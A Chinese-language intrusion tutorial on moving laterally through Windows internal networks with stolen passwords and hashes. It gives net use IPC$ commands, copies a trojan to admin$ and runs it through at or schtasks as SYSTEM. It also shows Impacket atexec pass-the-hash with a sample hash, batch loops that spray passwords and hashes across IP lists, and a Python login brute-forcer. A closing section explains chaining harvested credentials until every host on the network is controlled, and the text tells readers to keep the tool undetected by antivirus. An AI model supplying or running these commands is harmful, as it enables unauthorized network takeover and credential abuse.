内网渗透-密码传递

 

利用密码传递

at&schtasks

在日常渗透中,我们在拿到入口点(Windows)之后,我们可以使用at&schtasks在目标内网利用密码传递,进行横向渗透。

  1. 获取主机/域主机权限

  2. minikatz获得密码(明文、hash)

  3. 信息收集用户名做字典

  4. 尝试链接

  5. 添加计划任务(at & schtasks)

  6. 执行文件木马、或者命令

windows 2012 以下 at

windows 2012 以上 schtasks

利用流程

  1. 建立IPC连接到目标主机

  2. 拷贝要执行的命令脚本到目标主机

  3. 查看目标时间,创建计划任务(at schtasks)定时执行copy到的脚本

  4. 删除IPC

建立IPC失败原因

1.你的系统不是NT或以上操作系统.
2.对方没有打开ipc$默认共享。
3.不能成功连接目标的139,445端口.
4.命令输入错误.
5.用户名或密码错误.

常见错误

1.错误号5,拒绝访问 : 很可能你使用的用户不是管理员权限的,先提升权限;
2.错误号51,Windows 无法找到网络路径 : 网络有问题;
3.错误号53,找不到网络路径 : ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤);
4.错误号67,找不到网络名 : 你的lanmanworkstation服务未启动;目标删除了ipc$; 
5.错误号1219,提供的凭据与已存在的凭据集冲突 : 你已经和对方建立了一个ipc$,请删除再连。
6.错误号1326,未知的用户名或错误密码 : 原因很明显了;
7.错误号1792,试图登录,但是网络登录服务没有启动 : 目标NetLogon服务未启动。(连接域控会出现此情况)
8.错误号2242,此用户的密码已经过期 : 目标有帐号策略,强制定期要求更改密码。

建立IPC空连接

net use \\xx.xx.xx.xx\ipc$ "" /user:""

建立完整的用户名,密码连接:

net use \\xx.xx.xx.xx\ipc$ "password" /user:"username"
net use \\xx.xx.xx.xx\ipc$ "password" /user:域名\"username"
net use \\192.168.3.25\ipc$ "admin!@#45" /user:god\mary

映射路径:

net use z: \\xx.xx.xx.xx\c$ "密码" /user:"用户名"  (即可将对方的c盘映射为自己的z盘,其他盘类推)

删除

net use z: \\xx.xx.xx.xx\c$   #直接访问
net use c: /del     删除映射的c盘,其他盘类推 
net use * /del      删除全部,会有提示要求按y确认
net use \\xx.xx.xx.xx\ipc$ /del
dir \\xx.xx.xx.xx\c$    列文件
copy \\xx.xx.xx.xx\c$\1.bat 1.bat  下载1.bat
copy 1.bat \\xx.xx.xx.xx\C$ 复制文件
net view xx.xx.xx.xx 查看对方共享

过程

C:\>net use \\xx.xx.xx.xx\IPC$ "admin" /user:"admintitrators" 
用户名是administrators,密码为"admin"的IP地址,如果是打算攻击的话,就可以用这样的命令来与xx.xx.xx.xx建立一个连接,因为密码为"admin",所以第一个引号处输入,后面一个双引号里的是用户名,输入administrators,命令即可成功完成。
C:\>copy text.exe \\xx.xx.xx.xx\admin$ 
先复制text.exe上去,目录下就有(这里的$是指admin用户的c:\winnt\system32\,大家还可以使用c$、d$,意思是C盘与D盘,这看你要复制到什么地方去了)
C:\>net time \\xx.xx.xx.xx 
查查时间,发现xx.xx.xx.xx 的当前时间是 2021/2/8 上午 11:00,命令成功完成。
C:\>at \\xx.xx.xx.xx 11:05 text.exe 
用at命令启动text.exe吧
 /S   system        指定要连接到的远程系统。如果省略这个系统参数,默认是本地系统。
 /U   username      指定应在其中执行 SchTasks.exe 的用户上下文。
 /P   [password]    指定给定用户上下文的密码。如果省略则提示输入。
 /RU  username      指定任务在其下运行的“运行方式”用户
                       帐户(用户上下文)。对于系统帐户,有效 
                       值是 ""、"NT AUTHORITY\SYSTEM" 或 
                       "SYSTEM"。
                       对于 v2 任务,"NT AUTHORITY\LOCALSERVICE"和
                       "NT AUTHORITY\NETWORKSERVICE"以及常见的 SID
                         对这三个也都可用。

/RP  [password]    指定“运行方式”用户的密码。要提示输
                       入密码,值必须是 "*" 或无。系统帐户会忽略该
                       密码。必须和 /RU 或 /XML 开关一起使用。



/RU/XML    /SC   schedule     指定计划频率。
                       有效计划任务:  MINUTE、 HOURLY、DAILY、WEEKLY、 
                       MONTHLY, ONCE, ONSTART, ONLOGON, ONIDLE, ONEVENT.
/MO   modifier     改进计划类型以允许更好地控制计划重复周期。有效值列于下面“修改者”部分中。
/D    days         指定该周内运行任务的日期。有效值:
                       MON、TUE、WED、THU、FRI、SAT、SUN
                       和对 MONTHLY 计划的 1 - 31
                       (某月中的日期)。通配符“*”指定所有日期。
/M    months       指定一年内的某月。默认是该月的第一天。
                       有效值: JAN、FEB、MAR、APR、MAY、JUN、
                       JUL、 AUG、SEP、OCT、NOV  和 DEC。通配符
                       “*” 指定所有的月。
/I    idletime     指定运行一个已计划的 ONIDLE 任务之前
                       要等待的空闲时间。
                       有效值范围: 1 到 999 分钟。
/TN   taskname     指定唯一识别这个计划任务的名称。
/TR   taskrun      指定在这个计划时间运行的程序的路径和文件名。例如: C:\windows\system32\calc.exe
/ST   starttime    指定运行任务的开始时间。

                       时间格式为 HH:mm (24 小时时间),例如 14:30 表示

                       2:30 PM。如果未指定 /ST,则默认值为

                       当前时间。/SC ONCE 必需有此选项。
/RI   interval     用分钟指定重复间隔。这不适用于
                       计划类型: MINUTE、HOURLY、
                       ONSTART, ONLOGON, ONIDLE, ONEVENT.
                       有效范围: 1 - 599940 分钟。
                       如果已指定 /ET 或 /DU,则其默认值为
                       10 分钟。
/ET   endtime      指定运行任务的结束时间。
                       时间格式为 HH:mm (24 小时时间),例如,14:50 表示 2:50 PM。
                      这不适用于计划类型: ONSTART、
                       ONLOGON, ONIDLE, ONEVENT.
/DU   duration     指定运行任务的持续时间。
                       时间格式为 HH:mm。这不适用于 /ET 和
                       计划类型: ONSTART, ONLOGON, ONIDLE, ONEVENT.
                      对于 /V1 任务,如果已指定 /RI,则持续时间默认值为
                       1 小时。
 /K                 在结束时间或持续时间终止任务。
                      这不适用于计划类型: ONSTART、
                       ONLOGON, ONIDLE, ONEVENT. 
                       必须指定 /ET 或 /DU。
/SD   startdate    指定运行任务的第一个日期。
                       格式为 yyyy/mm/dd。默认值为
                       当前日期。这不适用于计划类型: ONCE、
                       ONSTART, ONLOGON, ONIDLE, ONEVENT.
/ED   enddate      指定此任务运行的最后一天的日期。
                       格式是 yyyy/mm/dd。这不适用于计划类型: 
                        ONCE、ONSTART、ONLOGON、ONIDLE。
/EC   ChannelName  为 OnEvent 触发器指定事件通道。
/IT                仅有在 /RU 用户当前已登录且
                      作业正在运行时才可以交互式运行任务。
                       此任务只有在用户已登录的情况下才运行。
/NP                不储存任何密码。任务以给定用户的身份
                       非交互的方式运行。只有本地资源可用。
/Z                 标记在最终运行完任务后删除任务。
/XML  xmlfile      从文件的指定任务 XML 中创建任务。
                       可以组合使用 /RU 和 /RP 开关,或者在任务 XML 已包含
                       主体时单独使用 /RP。
/V1                创建 Vista 以前的平台可以看见的任务。
                       不兼容 /XML。
/F                 如果指定的任务已经存在,则强制创建
                       任务并抑制警告。
/RL   level        为作业设置运行级别。有效值为
                       LIMITED 和 HIGHEST。默认值为 LIMITED。
/DELAY delaytime   指定触发触发器后延迟任务运行的
                       等待时间。时间格式为
                       mmmm:ss。此选项仅对计划类型
                       ONSTART, ONLOGON, ONEVENT.
 /?                 显示此帮助消息。

创建任务

schtasks /create /s xx.xx.xx.xx /ru "SYSTEM" /tn adduser /sc DAILY /tr c:\add.bat

执行任务

schtasks /run /s xx.xx.xx.xx /tn adduser /i 运行这个任务

删除任务

schtasks /delete /s xx.xx.xx.xx /tn adduser /f

使用第三方工具,自带提权

D:\>atexec.exe tencent/administrator:123@.com@10.0.0.1 "whoami"
Impacket v0.9.17 - Copyright 2002-2018 Core Security Technologies

[!] This will work ONLY on Windows >= Vista
[*] Creating task \WqukoWZX
[*] Running task \WqukoWZX
[*] Deleting task \WqukoWZX
[*] Attempting to read ADMIN$\Temp\WqukoWZX.tmp
[*] Attempting to read ADMIN$\Temp\WqukoWZX.tmp
nt authority\system        # 权限为system
impacket工具包,里面很多内网用到的工具
这个工具注意免杀
atexec.exe ./administrator:123@.com@10.0.0.1 "whoami"
atexec.exe tencent/administrator:123@.com@10.0.0.1 "whoami"
atexec.exe -hashes :ccef208c6485269c20db2cad21734fe7 ./administrator@10.0.0.1 "whoami"

批量建立IPC链接

FOR /F %%i in (ips.txt) do net use \\%%i\ipc$ "admin!@#45" /user:administrator #批量检测IP对应明文连接
FOR /F %%i in (ips.txt) do atexec.exe ./administrator:admin!@#45@%%i whoami    #批量检测IP对应明文回显版
FOR /F %%i in (pass.txt) do atexec.exe ./administrator:%%i@10.0.0.1 whoami     #批量检测明文对应IP回显版
FOR /F %%i in (hash.txt) do atexec.exe -hashes :%%i ./administrator@10.0.0.1 whoami #批量检测HASH对应IP回显版

程序运行结束net use查看建立了哪些连接,剩下的就是使用自带命令at&schtasks上传脚本进行控制。

net use \\192.168.3.32\ipc$ admin!@#45 /user:g0od\dbadmin

#pip install pyinstaller
#pyinstaller -F fuck_neiwang_001.py 生成可执行EXE
import os,time
ips={
    '192.168.3.21',
    '192.168.3.25',
    '192.168.3.29',
    '192.168.3.30',
    '192.168.3.31',
    '192.168.3.33'
}

users={
    'Administrator',
    'boss',
    'dbadmin',
    'fileadmin',
    'mack',
    'mary',
    'vpnadm',
    'webadmin'
}
passs={
    'admin',
    'admin!@#45',
    'Admin12345'
}

for ip in ips:
    for user in users:
        for mima in passs:
            exec="net use \\"+ "\\"+ip+'\ipc$ '+mima+' /user:god\\'+user
            print('--->'+exec+'<---')
            os.system(exec)
            time.sleep(1)

以上操作都是在我们知道用户和密码的情况下进行验证的,前期除了收集明文密码HASH等,还收集了用户名,用户名配合密码字典,进行上面的批量验证

主机A   收集主机A的用户名和密码  组成字典
主机B   用主机A的用户信息验证是否可以登录到主机B,如果可以登录在收集主机B的用户信息,将信息添加到上面的字典里。
主机C   用上面的字典验证是否可以登录到主机C,如果可以登录依旧收集相关信息添加到字典中

不断重复上面步骤,收集的信息越多字典越大,我们验证成功的可能性越大,实现从获得1台主机到内网中所有主机的操作

 

工具地址

[https://gitee.com/RichChigga/impacket-examples-windows](https://gitee.com/RichChigga/impacket-examples-windows)

(完)